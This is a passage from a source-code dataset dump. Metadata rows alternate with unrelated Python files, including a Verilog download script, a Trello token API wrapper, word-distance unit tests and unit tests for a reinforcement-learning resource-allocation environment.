| 47.369892 | 148 | 0.659191 | 2,363 | 22,027 | 5.914939 | 0.096911 | 0.035344 | 0.024326 | 0.025757 | 0.886671 | 0.880733 | 0.877942 | 0.859841 | 0.849539 | 0.828933 | 0 | 0.005129 | 0.247696 | 22,027 | 464 | 149 | 47.471983 | 0.838332 | 0.287647 | 0 | 0.82716 | 0 | 0 | 0.142674 | 0.068462 | 0 | 0 | 0 | 0 | 0 | 1 | 0.057613 | false | 0 | 0.020576 | 0 | 0.160494 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
7509e1bfd47abe7daaec2f2e1dd26148827c68c0 | 307 | py | Python | verilog/benchmarks_large/picorv32/generate.py | trcwm/yosys-bench | 34305c258181bc1c6a1881504fc89c9b80070ba7 | [
"ISC"
] | null | null | null | verilog/benchmarks_large/picorv32/generate.py | trcwm/yosys-bench | 34305c258181bc1c6a1881504fc89c9b80070ba7 | [
"ISC"
] | null | null | null | verilog/benchmarks_large/picorv32/generate.py | trcwm/yosys-bench | 34305c258181bc1c6a1881504fc89c9b80070ba7 | [
"ISC"
] | null | null | null | #!/usr/bin/env python3
import urllib.request
urllib.request.urlretrieve('https://raw.githubusercontent.com/cliffordwolf/picorv32/v1.0/picorv32.v', 'picorv32.vh')
urllib.request.urlretrieve('https://raw.githubusercontent.com/cliffordwolf/picorv32/v1.0/scripts/vivado/synth_area_top.v', 'synth_area_top.vh')
| 51.166667 | 143 | 0.807818 | 43 | 307 | 5.674419 | 0.534884 | 0.159836 | 0.196721 | 0.237705 | 0.614754 | 0.614754 | 0.614754 | 0.614754 | 0.614754 | 0.614754 | 0 | 0.043624 | 0.029316 | 307 | 5 | 144 | 61.4 | 0.775168 | 0.068404 | 0 | 0 | 0 | 0.333333 | 0.670175 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.333333 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 8 |
752efc792919b946f47a73c6aa2c3bd53dc3872b | 3,099 | py | Python | trello/tokens.py | cmuozdiaz/trello-py | fa3e05972ad22796e515a6bb1a31e1ea5b365ed6 | [
"BSD-2-Clause"
] | null | null | null | trello/tokens.py | cmuozdiaz/trello-py | fa3e05972ad22796e515a6bb1a31e1ea5b365ed6 | [
"BSD-2-Clause"
] | null | null | null | trello/tokens.py | cmuozdiaz/trello-py | fa3e05972ad22796e515a6bb1a31e1ea5b365ed6 | [
"BSD-2-Clause"
] | null | null | null | import json
import requests
class Tokens(object):
__module__ = 'trello'
def __init__(self, apikey, token=None):
self._apikey = apikey
self._token = token
def get(self, token, fields=None, webhooks=None):
resp = requests.get("https://trello.com/1/tokens/{}".format(token), params={"key": self._apikey, "token": self._token, "fields": fields, "webhooks": webhooks}, data=None)
resp.raise_for_status()
return json.loads(resp.text)
def get_field(self, field, token):
resp = requests.get("https://trello.com/1/tokens/{}/{}".format(token, field), params={"key": self._apikey, "token": self._token}, data=None)
resp.raise_for_status()
return json.loads(resp.text)
def get_member(self, token, fields=None):
resp = requests.get("https://trello.com/1/tokens/{}/member".format(token), params={"key": self._apikey, "token": self._token, "fields": fields}, data=None)
resp.raise_for_status()
return json.loads(resp.text)
def get_member_field(self, field, token):
resp = requests.get("https://trello.com/1/tokens/{}/member/{}".format(token, field), params={"key": self._apikey, "token": self._token}, data=None)
resp.raise_for_status()
return json.loads(resp.text)
def get_webhook(self, token):
resp = requests.get("https://trello.com/1/tokens/{}/webhooks".format(token), params={"key": self._apikey, "token": self._token}, data=None)
resp.raise_for_status()
return json.loads(resp.text)
def get_webhook_idWebhook(self, idWebhook, token):
resp = requests.get("https://trello.com/1/tokens/{}/webhooks/{}".format(token, idWebhook), params={"key": self._apikey, "token": self._token}, data=None)
resp.raise_for_status()
return json.loads(resp.text)
def update_webhook(self, token, callbackURL, idModel, description=None):
resp = requests.put("https://trello.com/1/tokens/{}/webhooks".format(token), params={"key": self._apikey, "token": self._token}, data={"callbackURL": callbackURL, "idModel": idModel, "description": description})
resp.raise_for_status()
return json.loads(resp.text)
def new_webhook(self, token, callbackURL, idModel, description=None):
resp = requests.post("https://trello.com/1/tokens/{}/webhooks".format(token), params={"key": self._apikey, "token": self._token}, data={"callbackURL": callbackURL, "idModel": idModel, "description": description})
resp.raise_for_status()
return json.loads(resp.text)
def delete(self, token):
resp = requests.delete("https://trello.com/1/tokens/{}".format(token), params={"key": self._apikey, "token": self._token}, data=None)
resp.raise_for_status()
return json.loads(resp.text)
def delete_webhook_idWebhook(self, idWebhook, token):
resp = requests.delete("https://trello.com/1/tokens/{}/webhooks/{}".format(token, idWebhook), params={"key": self._apikey, "token": self._token}, data=None)
resp.raise_for_status()
return json.loads(resp.text)
| 50.803279 | 220 | 0.663117 | 397 | 3,099 | 5.02267 | 0.108312 | 0.07673 | 0.082748 | 0.075226 | 0.901204 | 0.901204 | 0.901204 | 0.875627 | 0.875627 | 0.787362 | 0 | 0.003861 | 0.164247 | 3,099 | 60 | 221 | 51.65 | 0.766023 | 0 | 0 | 0.425532 | 0 | 0 | 0.172692 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.234043 | false | 0 | 0.042553 | 0 | 0.531915 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 8 |
f33e6e47c0bc22676f31578cfe313853fad01b14 | 222 | py | Python | Python_Bryan_Cairns/python9/myPackage/Car.py | jeffb4real/scripts | 349bc3d3d819684261281a05db7a5b9389d664f1 | [
"MIT"
] | null | null | null | Python_Bryan_Cairns/python9/myPackage/Car.py | jeffb4real/scripts | 349bc3d3d819684261281a05db7a5b9389d664f1 | [
"MIT"
] | null | null | null | Python_Bryan_Cairns/python9/myPackage/Car.py | jeffb4real/scripts | 349bc3d3d819684261281a05db7a5b9389d664f1 | [
"MIT"
] | null | null | null | __author__ = 'Bryan Cairns'
class Car(object):
def setSpeed(self, speed):
print("Going this fast: %d" % speed)
class Truck(object):
def setSpeed(self, speed):
print("Going this fast: %d" % speed)
| 22.2 | 44 | 0.626126 | 29 | 222 | 4.655172 | 0.551724 | 0.133333 | 0.251852 | 0.311111 | 0.740741 | 0.740741 | 0.740741 | 0.740741 | 0.740741 | 0.740741 | 0 | 0 | 0.234234 | 222 | 9 | 45 | 24.666667 | 0.794118 | 0 | 0 | 0.571429 | 0 | 0 | 0.225225 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.285714 | false | 0 | 0 | 0 | 0.571429 | 0.285714 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 10 |
f38f9b0d76207acbaaca7c4fa8642c11facf1f61 | 2,417 | py | Python | test_word_distance.py | afoth/word-distance | 484540d4542ab7f16a8dcc2e5dba38849402b669 | [
"MIT"
] | null | null | null | test_word_distance.py | afoth/word-distance | 484540d4542ab7f16a8dcc2e5dba38849402b669 | [
"MIT"
] | null | null | null | test_word_distance.py | afoth/word-distance | 484540d4542ab7f16a8dcc2e5dba38849402b669 | [
"MIT"
] | null | null | null | import unittest
from word_distance import WordDistance
class TestWordDistance(unittest.TestCase):
def test_find_shortest_distance(self):
text = 'We do value and reward motivation in our development team. Development is a key skill for a DevOp.'
distance = WordDistance(text).find_shortest_distance('motivation', 'development')
self.assertEqual(distance, 2)
def test_find_shortest_distance_reversed(self):
text = 'We do value and reward motivation in our development team. Development is a key skill for a DevOp.'
distance = WordDistance(text).find_shortest_distance('development', 'motivation')
self.assertEqual(distance, 2)
def test_find_shortest_distance_caseInsensitive(self):
text = 'We do value and reward motivation in our development team. Development is a key skill for a DevOp.'
distance = WordDistance(text).find_shortest_distance('Motivation', 'Development')
self.assertEqual(distance, 2)
def test_find_shortest_distance_neighbors(self):
text = 'We do value and reward motivation in our development team. Development is a key skill for a DevOp.'
distance = WordDistance(text).find_shortest_distance('We', 'do')
self.assertEqual(distance, 0)
def test_find_shortest_distance_startEqualsEnd(self):
text = 'We do value and reward motivation in our development team. Development is a key skill for a DevOp.'
distance = WordDistance(text).find_shortest_distance('motivation', 'motivation')
self.assertEqual(distance, -1)
def test_find_shortest_distance_emptyList(self):
distance = WordDistance('').find_shortest_distance('motivation', 'development')
self.assertEqual(distance, -1)
def test_find_shortest_distance_listWithOneElement(self):
distance = WordDistance('motivation').find_shortest_distance('motivation', 'development')
self.assertEqual(distance, -1)
def test_find_shortest_distance_startNotInList(self):
distance = WordDistance('We do development').find_shortest_distance('motivation', 'development')
self.assertEqual(distance, -1)
def test_find_shortest_distance_endNotInList(self):
distance = WordDistance('reward motivation in our team').find_shortest_distance('motivation', 'development')
self.assertEqual(distance, -1)
if __name__ == '__main__':
unittest.main() | 50.354167 | 116 | 0.736036 | 286 | 2,417 | 6.003497 | 0.160839 | 0.125801 | 0.209668 | 0.099592 | 0.760629 | 0.729179 | 0.729179 | 0.729179 | 0.729179 | 0.631916 | 0 | 0.00452 | 0.176252 | 2,417 | 48 | 117 | 50.354167 | 0.85786 | 0 | 0 | 0.351351 | 0 | 0 | 0.299835 | 0 | 0 | 0 | 0 | 0 | 0.243243 | 1 | 0.243243 | false | 0 | 0.054054 | 0 | 0.324324 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
34155350d051023aa1bc52c251e9331ed9095c7d | 217 | py | Python | src/tests/__init__.py | dennismalmgren/marl | baa846dc4144cf6f53e51d8cf1e2fcf5800c9f95 | [
"Apache-2.0"
] | null | null | null | src/tests/__init__.py | dennismalmgren/marl | baa846dc4144cf6f53e51d8cf1e2fcf5800c9f95 | [
"Apache-2.0"
] | null | null | null | src/tests/__init__.py | dennismalmgren/marl | baa846dc4144cf6f53e51d8cf1e2fcf5800c9f95 | [
"Apache-2.0"
] | null | null | null | #############################################
# Add the one-folder-up-path
import sys, os
dirn = os.path.dirname(sys.path[0])
sys.path.append(os.path.dirname(sys.path[0]))
############################################# | 36.166667 | 45 | 0.419355 | 25 | 217 | 3.64 | 0.52 | 0.230769 | 0.285714 | 0.351648 | 0.461538 | 0.461538 | 0 | 0 | 0 | 0 | 0 | 0.009756 | 0.0553 | 217 | 6 | 46 | 36.166667 | 0.434146 | 0.119816 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 7 |
341bbe57bb2515b8c6d6fbf9dc515325d964ce7d | 48,545 | py | Python | environment/custom/resource/tests/env_test.py | AndreMaz/transformer-pointer-critic | 97cfa1e667514a5651d855d6ffd498ac49339c00 | [
"MIT"
] | 5 | 2021-12-11T20:51:16.000Z | 2021-12-16T06:10:03.000Z | environment/custom/resource/tests/env_test.py | AndreMaz/transformer-pointer-critic | 97cfa1e667514a5651d855d6ffd498ac49339c00 | [
"MIT"
] | 1 | 2021-12-12T21:25:38.000Z | 2021-12-12T21:25:38.000Z | environment/custom/resource/tests/env_test.py | AndreMaz/transformer-pointer-critic | 97cfa1e667514a5651d855d6ffd498ac49339c00 | [
"MIT"
] | null | null | null | import sys
sys.path.append('.')
import numpy as np
import unittest
# Custom Imports
from environment.custom.resource.env import ResourceEnvironment
# from environment.custom.resource.reward import GreedyReward
# from environment.custom.resource.penalty import GreedyPenalty
class TestResource(unittest.TestCase):
def setUp(self) -> None:
ENV_CONFIG = {
"description": "Environment configs.",
"load_from_file": False,
"location": "./environment/custom/knapsack/problem.json",
"gather_stats": False,
"unique_elements_in_batch": True,
"use_advanced_masking": True,
"batch_size": 2,
"num_features": 5,
"num_resources": 100,
"num_bins": 10,
"EOS_CODE": 0,
"resource_sample_size": 5,
"bin_sample_size": 5,
"resource_normalization_factor": 1,
"task_normalization_factor": 1,
"num_iterations_before_node_reset": 10,
"num_user_levels": 1,
# "reward_per_level": [10, 20],
# "misplace_reward_penalty": 5,
"reward": {
"type": "greedy",
"greedy": {
"reward_per_level": [ 10, 20 ],
"misplace_penalty_factor": 5,
"correct_place_factor": 1,
"premium_rejected": -20,
"free_rejected": 0
},
"fair": {
}
},
"num_task_types": 10,
# "CPU_misplace_penalty": 10,
# "RAM_misplace_penalty": 10,
# "MEM_misplace_penalty": 10,
"penalty": {
"type": "greedy",
"greedy": {
"CPU_misplace_penalty": 10,
"RAM_misplace_penalty": 10,
"MEM_misplace_penalty": 10
}
},
"min_resource_CPU": 10,
"max_resource_CPU": 20,
"min_resource_RAM": 30,
"max_resource_RAM": 40,
"min_resource_MEM": 50,
"max_resource_MEM": 60,
"min_bin_CPU": 100,
"max_bin_CPU": 200,
"min_bin_RAM": 300,
"max_bin_RAM": 400,
"min_bin_MEM": 500,
"max_bin_MEM": 600,
"min_bin_range_type": 2,
"max_bin_range_type": 3
}
self.env = ResourceEnvironment('Resource', ENV_CONFIG)
def test_constructor(self):
self.assertEqual(self.env.name, 'Resource')
self.assertIsNotNone(self.env.penalizer)
self.assertIsNotNone(self.env.rewarder)
self.assertEqual(len(self.env.tasks), 10)
def test_shapes(self):
# 10 + 1 for EOS bin
self.assertEqual(self.env.total_bins.shape, (11, 5))
self.assertEqual(self.env.total_resources.shape, (100, 5))
self.assertEqual(self.env.batch.shape, (2, 11, 5))
self.assertEqual(self.env.bin_net_mask.shape, (2,11))
self.assertEqual(self.env.resource_net_mask.shape, (2,11))
self.assertEqual(self.env.mha_used_mask.shape, (2, 1, 1, 11))
def test_reset(self):
initial_num = self.env.num_inserted_resources()
feasible_bin_mask = np.array([
[ 0., 0., 0., 1., 1.],
[ 0., 0., 0., 1., 1.]
], dtype='float32')
# Step 1
# Insert Two resources
self.env.step([1, 3], [6, 7], feasible_bin_mask)
# Step 2
# Insert Two more resources
self.env.step([1, 3], [6, 7], feasible_bin_mask)
after_insertion_num = self.env.num_inserted_resources()
# Reset env
self.env.reset_num_iterations()
self.env.reset()
after_reset_num = self.env.num_inserted_resources()
self.assertEqual(initial_num, 0)
# In total 4 Resources were inserted
self.assertEqual(after_insertion_num, 4)
self.assertEqual(after_reset_num, 0)
class TestStepFn(unittest.TestCase):
def setUp(self) -> None:
ENV_CONFIG = {
"description": "Environment configs.",
"load_from_file": False,
"location": "./environment/custom/knapsack/problem.json",
"gather_stats": False,
"unique_elements_in_batch": True,
"use_advanced_masking": True,
"batch_size": 2,
"num_features": 5,
"num_resources": 100,
"num_bins": 10,
"EOS_CODE": 0,
"resource_sample_size": 2,
"bin_sample_size": 2,
"resource_normalization_factor": 1,
"task_normalization_factor": 1,
"num_iterations_before_node_reset": 10,
"num_user_levels": 1,
# "reward_per_level": [10, 20],
# "misplace_reward_penalty": 5,
"reward": {
"type": "greedy",
"greedy": {
"reward_per_level": [ 10, 20 ],
"misplace_penalty_factor": 0.5,
"correct_place_factor": 1,
"premium_rejected": -20,
"free_rejected": 0
},
"fair": {
}
},
"num_task_types": 10,
# "CPU_misplace_penalty": 10,
# "RAM_misplace_penalty": 10,
# "MEM_misplace_penalty": 10,
"penalty": {
"type": "greedy",
"greedy": {
"CPU_misplace_penalty": 10,
"RAM_misplace_penalty": 10,
"MEM_misplace_penalty": 10
}
},
"min_resource_CPU": 10,
"max_resource_CPU": 20,
"min_resource_RAM": 30,
"max_resource_RAM": 40,
"min_resource_MEM": 50,
"max_resource_MEM": 60,
"min_bin_CPU": 100,
"max_bin_CPU": 200,
"min_bin_RAM": 300,
"max_bin_RAM": 400,
"min_bin_MEM": 500,
"max_bin_MEM": 600,
"min_bin_range_type": 2,
"max_bin_range_type": 3
}
self.env = ResourceEnvironment('Resource', ENV_CONFIG)
def test_step_EOS_node_reward_SHOULD_be_negative(self):
self.env.batch = np.array([[
[ 0., 0., 0., 0., 0.], # Node EOS
[100., 200., 300., 0., 2.], # Node 1
[400., 500., 600., 0., 3.], # Node 2
[ 10., 20., 30., 1., 1.], # Resource 1
[ 40., 50., 60., 8., 1.]], # Resource 2
[
[ 0., 0., 0., 0., 0.], # Node EOS
[1000., 2000., 3000., 2., 5.], # Node 1
[4000., 5000., 6000., 3., 6.], # Node 2
[ 100., 200., 300., 0., 1.], # Resource 1
[ 400., 500., 600., 4., 1.] # Resource 2
]], dtype='float32')
self.env.rebuild_history()
bin_ids = [0 , 0]
resource_ids = [3 , 4]
resources = np.array([
[ 10., 20., 30., 1., 1.],
[ 400., 500., 600., 4., 1.]
], dtype='float32')
feasible_bin_mask = self.env.build_feasible_mask(
self.env.batch,
resources,
self.env.bin_net_mask
)
next_state, rewards, isDone, info = self.env.step(
bin_ids,
resource_ids,
feasible_bin_mask
)
expected_next_state = np.array([[
[ 0., 0., 0., 0., 0.],
[100., 200., 300., 0., 2.],
[400., 500., 600., 0., 3.],
[ 10., 20., 30., 1., 1.], # Resource task 1
[ 40., 50., 60., 8., 1.]],
[
[ 0., 0., 0., 0., 0.],
[1000., 2000., 3000., 2., 5.],
[4000., 5000., 6000., 3., 6.],
[ 100., 200., 300., 0., 1.],
[ 400., 500., 600., 4., 1.] # Resource task 4
]], dtype='float32')
self.assertEqual(next_state.tolist(),expected_next_state.tolist())
expected_rewards = np.array([
[-20],
[-20]
], dtype="float32")
self.assertEqual(rewards.numpy().tolist(), expected_rewards.tolist())
self.assertFalse(isDone)
def test_step_premium_user_NO_penalty(self):
self.env.batch = np.array([[
[ 0., 0., 0., 0., 0.],
[100., 200., 300., 1., 2.], # Node task range [1, 2]
[400., 500., 600., 1., 3.],
[ 10., 20., 30., 1., 1.], # Resource task 1
[ 40., 50., 60., 8., 1.]],
[
[ 0., 0., 0., 0., 0.],
[1000., 2000., 3000., 2., 5.],
[4000., 5000., 6000., 3., 6.], # Node task range [3, 6]
[ 100., 200., 300., 0., 1.],
[ 400., 500., 600., 4., 1.] # Resource task 4
]], dtype='float32')
self.env.rebuild_history()
bin_ids = [1 , 2]
resource_ids = [3 , 4]
resources = np.array([
[ 10., 20., 30., 1., 1.],
[ 400., 500., 600., 4., 1.]
], dtype='float32')
feasible_bin_mask = self.env.build_feasible_mask(
self.env.batch,
resources,
self.env.bin_net_mask
)
next_state, rewards, isDone, info = self.env.step(
bin_ids,
resource_ids,
feasible_bin_mask
)
expected_next_state = np.array([[
[ 0., 0., 0., 0., 0.],
[ 90., 180., 270., 1., 2.],
[400., 500., 600., 1., 3.],
[ 10., 20., 30., 1., 1.],
[ 40., 50., 60., 8., 1.]],
[
[ 0., 0., 0., 0., 0.],
[1000., 2000., 3000., 2., 5.],
[3600., 4500., 5400., 3., 6.],
[ 100., 200., 300., 0., 1.],
[ 400., 500., 600., 4., 1.]
]], dtype='float32')
self.assertEqual(next_state.tolist(),expected_next_state.tolist())
expected_rewards = np.array([
[20],
[20]
], dtype="float32")
self.assertEqual(rewards.numpy().tolist(), expected_rewards.tolist())
self.assertFalse(isDone)
def test_step_premium_user_WITH_penalty(self):
self.env.batch = np.array([[
[ 0., 0., 0., 0., 0.],
[100., 200., 300., 1., 2.], # Node task range [1, 2]
[400., 500., 600., 1., 3.],
[ 10., 20., 30., 15., 1.], # Resource task 15
[ 40., 50., 60., 8., 1.]],
[
[ 0., 0., 0., 0., 0.],
[1000., 2000., 3000., 2., 5.],
[4000., 5000., 6000., 3., 6.], # Node task range [3, 6]
[ 100., 200., 300., 0., 1.],
[ 400., 500., 600., 10., 1.] # Resource task 10
]], dtype='float32')
self.env.rebuild_history()
bin_ids = [1 , 2]
resource_ids = [3 , 4]
resources = np.array([
[ 10., 20., 30., 15., 1.],
[ 400., 500., 600., 10., 1.]
], dtype='float32')
feasible_bin_mask = self.env.build_feasible_mask(
self.env.batch,
resources,
self.env.bin_net_mask
)
next_state, rewards, isDone, info = self.env.step(
bin_ids,
resource_ids,
feasible_bin_mask
)
expected_next_state = np.array([[
[ 0., 0., 0., 0., 0.],
[ 80., 170., 260., 1., 2.],
[ 400., 500., 600., 1., 3.],
[ 10., 20., 30., 15., 1.],
[ 40., 50., 60., 8., 1.]],
[
[ 0., 0., 0., 0., 0.],
[1000., 2000., 3000., 2., 5.],
[3590., 4490., 5390., 3., 6.],
[ 100., 200., 300., 0., 1.],
[ 400., 500., 600., 10., 1.]
]], dtype='float32')
self.assertEqual(next_state.tolist(),expected_next_state.tolist())
expected_rewards = np.array([
[10],
[10]
], dtype="float32")
self.assertEqual(rewards.numpy().tolist(), expected_rewards.tolist())
self.assertFalse(isDone)
def test_step_free_user_NO_penalty(self):
self.env.batch = np.array([[
[ 0., 0., 0., 0., 0.],
[100., 200., 300., 1., 2.], # Node task range [0, 2]
[400., 500., 600., 1., 3.],
[ 10., 20., 30., 1., 0.], # Resource task 1
[ 40., 50., 60., 8., 1.]],
[
[ 0., 0., 0., 0., 0.],
[1000., 2000., 3000., 2., 5.],
[4000., 5000., 6000., 3., 6.], # Node task range [3, 6]
[ 100., 200., 300., 0., 1.],
[ 400., 500., 600., 4., 0.] # Resource task 4
]], dtype='float32')
self.env.rebuild_history()
bin_ids = [1 , 2]
resource_ids = [3 , 4]
resources = np.array([
[ 10., 20., 30., 1., 0.],
[ 400., 500., 600., 4., 0.]
], dtype='float32')
feasible_bin_mask = self.env.build_feasible_mask(
self.env.batch,
resources,
self.env.bin_net_mask
)
next_state, rewards, isDone, info = self.env.step(
bin_ids,
resource_ids,
feasible_bin_mask
)
expected_next_state = np.array([[
[ 0., 0., 0., 0., 0.],
[ 90., 180., 270., 1., 2.],
[400., 500., 600., 1., 3.],
[ 10., 20., 30., 1., 0.],
[ 40., 50., 60., 8., 1.]],
[
[ 0., 0., 0., 0., 0.],
[1000., 2000., 3000., 2., 5.],
[3600., 4500., 5400., 3., 6.],
[ 100., 200., 300., 0., 1.],
[ 400., 500., 600., 4., 0.]
]], dtype='float32')
self.assertEqual(next_state.tolist(),expected_next_state.tolist())
expected_rewards = np.array([
[10],
[10]
], dtype="float32")
self.assertEqual(rewards.numpy().tolist(), expected_rewards.tolist())
self.assertFalse(isDone)
def test_step_free_user_WITH_penalty(self):
self.env.batch = np.array([[
[ 0., 0., 0., 0., 0.],
[100., 200., 300., 1., 2.], # Node task range [1, 2]
[400., 500., 600., 1., 3.],
[ 10., 20., 30., 15., 0.], # Resource task 15
[ 40., 50., 60., 8., 1.]],
[
[ 0., 0., 0., 0., 0.],
[1000., 2000., 3000., 2., 5.],
[4000., 5000., 6000., 3., 6.], # Node task range [3, 6]
[ 100., 200., 300., 0., 1.],
[ 400., 500., 600., 10., 0.] # Resource task 10
]], dtype='float32')
self.env.rebuild_history()
bin_ids = [1 , 2]
resource_ids = [3 , 4]
resources = np.array([
[ 10., 20., 30., 15., 0.],
[ 400., 500., 600., 10., 0.]
], dtype='float32')
feasible_bin_mask = self.env.build_feasible_mask(
self.env.batch,
resources,
self.env.bin_net_mask
)
next_state, rewards, isDone, info = self.env.step(
bin_ids,
resource_ids,
feasible_bin_mask
)
expected_next_state = np.array([[
[ 0., 0., 0., 0., 0.],
[ 80., 170., 260., 1., 2.],
[ 400., 500., 600., 1., 3.],
[ 10., 20., 30., 15., 0.],
[ 40., 50., 60., 8., 1.]],
[
[ 0., 0., 0., 0., 0.],
[1000., 2000., 3000., 2., 5.],
[3590., 4490., 5390., 3., 6.],
[ 100., 200., 300., 0., 1.],
[ 400., 500., 600., 10., 0.]
]], dtype='float32')
self.assertEqual(next_state.tolist(),expected_next_state.tolist())
expected_rewards = np.array([
[5],
[5]
], dtype="float32")
self.assertEqual(rewards.numpy().tolist(), expected_rewards.tolist())
self.assertFalse(isDone)
def test_step_SHOULD_be_Done(self):
self.env.batch = np.array([[
[ 0., 0., 0., 0., 0.],
[100., 200., 300., 0., 2.], # Node task range [0, 2]
[400., 500., 600., 0., 3.],
[ 10., 20., 30., 15., 0.], # Resource task 15
[ 40., 50., 60., 8., 1.]],
[
[ 0., 0., 0., 0., 0.],
[1000., 2000., 3000., 2., 5.],
[4000., 5000., 6000., 3., 6.], # Node task range [3, 6]
[ 100., 200., 300., 0., 1.],
[ 400., 500., 600., 10., 0.] # Resource task 10
]], dtype='float32')
self.env.rebuild_history()
# Before any insertion
expected_resource_mask = [
[1.0, 1.0, 1.0, 0.0, 0.0],
[1.0, 1.0, 1.0, 0.0, 0.0]
]
self.assertEqual(
self.env.resource_net_mask.tolist(),
expected_resource_mask
)
expected_mha_mask = [
[[[0.0, 0.0, 0.0, 0.0, 0.0]]],
[[[0.0, 0.0, 0.0, 0.0, 0.0]]]
]
self.assertEqual(
self.env.mha_used_mask.tolist(),
expected_mha_mask
)
feasible_bin_mask = np.array([
[ 0., 0., 0., 1., 1.],
[ 0., 0., 0., 1., 1.]
], dtype='float32')
# First Step
bin_ids = [1 , 2]
resource_ids = [3 , 4]
next_state, rewards, isDone, info = self.env.step(
bin_ids,
resource_ids,
feasible_bin_mask
)
expected_resource_mask = [
[1.0, 1.0, 1.0, 1.0, 0.0],
[1.0, 1.0, 1.0, 0.0, 1.0]
]
self.assertEqual(
info['resource_net_mask'].tolist(),
expected_resource_mask
)
expected_mha_mask = [
[[[0.0, 0.0, 0.0, 1.0, 0.0]]],
[[[0.0, 0.0, 0.0, 0.0, 1.0]]]
]
self.assertEqual(
info['mha_used_mask'].tolist(),
expected_mha_mask
)
# Second Step
bin_ids = [0 , 0]
resource_ids = [4 , 3]
next_state, rewards, isDone, info = self.env.step(
bin_ids,
resource_ids,
feasible_bin_mask
)
self.assertTrue(isDone)
expected_resource_mask = [
[1.0, 1.0, 1.0, 1.0, 1.0],
[1.0, 1.0, 1.0, 1.0, 1.0]
]
self.assertEqual(
info['resource_net_mask'].tolist(),
expected_resource_mask
)
expected_mha_mask = [
[[[0.0, 0.0, 0.0, 1.0, 1.0]]],
[[[0.0, 0.0, 0.0, 1.0, 1.0]]]
]
self.assertEqual(
info['mha_used_mask'].tolist(),
expected_mha_mask
)
class TestStepBatchFn(unittest.TestCase):
def setUp(self) -> None:
ENV_CONFIG = {
"description": "Environment configs.",
"load_from_file": False,
"location": "./environment/custom/knapsack/problem.json",
"gather_stats": False,
"unique_elements_in_batch": True,
"use_advanced_masking": True,
"batch_size": 2,
"num_features": 5,
"num_resources": 100,
"num_bins": 10,
"EOS_CODE": 0,
"resource_sample_size": 2,
"bin_sample_size": 2,
"resource_normalization_factor": 1,
"task_normalization_factor": 1,
"num_iterations_before_node_reset": 10,
"num_user_levels": 1,
# "reward_per_level": [10, 20],
# "misplace_reward_penalty": 5,
"reward": {
"type": "greedy",
"greedy": {
"reward_per_level": [ 10, 20 ],
"misplace_penalty_factor": 0.5,
"correct_place_factor": 1,
"premium_rejected": -20,
"free_rejected": 0
},
"fair": {
}
},
"num_task_types": 10,
# "CPU_misplace_penalty": 10,
# "RAM_misplace_penalty": 10,
# "MEM_misplace_penalty": 10,
"penalty": {
"type": "greedy",
"greedy": {
"CPU_misplace_penalty": 10,
"RAM_misplace_penalty": 10,
"MEM_misplace_penalty": 10
}
},
"min_resource_CPU": 10,
"max_resource_CPU": 20,
"min_resource_RAM": 30,
"max_resource_RAM": 40,
"min_resource_MEM": 50,
"max_resource_MEM": 60,
"min_bin_CPU": 100,
"max_bin_CPU": 200,
"min_bin_RAM": 300,
"max_bin_RAM": 400,
"min_bin_MEM": 500,
"max_bin_MEM": 600,
"min_bin_range_type": 2,
"max_bin_range_type": 3
}
self.env = ResourceEnvironment('Resource', ENV_CONFIG)
def test_step_EOS_node_reward_SHOULD_be_negative(self):
self.env.batch = np.array([[
[ 0., 0., 0., 0., 0.], # Node EOS
[100., 200., 300., 0., 2.], # Node 1
[400., 500., 600., 0., 3.], # Node 2
[ 10., 20., 30., 1., 1.], # Resource 1
[ 40., 50., 60., 8., 1.]], # Resource 2
[
[ 0., 0., 0., 0., 0.], # Node EOS
[1000., 2000., 3000., 2., 5.], # Node 1
[4000., 5000., 6000., 3., 6.], # Node 2
[ 100., 200., 300., 0., 1.], # Resource 1
[ 400., 500., 600., 4., 1.] # Resource 2
]], dtype='float32')
self.env.rebuild_history()
bin_ids = [0 , 0]
resource_ids = [3 , 4]
resources = np.array([
[ 10., 20., 30., 1., 1.],
[ 400., 500., 600., 4., 1.]
], dtype='float32')
feasible_bin_mask = self.env.build_feasible_mask(
self.env.batch,
resources,
self.env.bin_net_mask
)
next_state, rewards, isDone, info = self.env.step_batch(
bin_ids,
resource_ids,
feasible_bin_mask
)
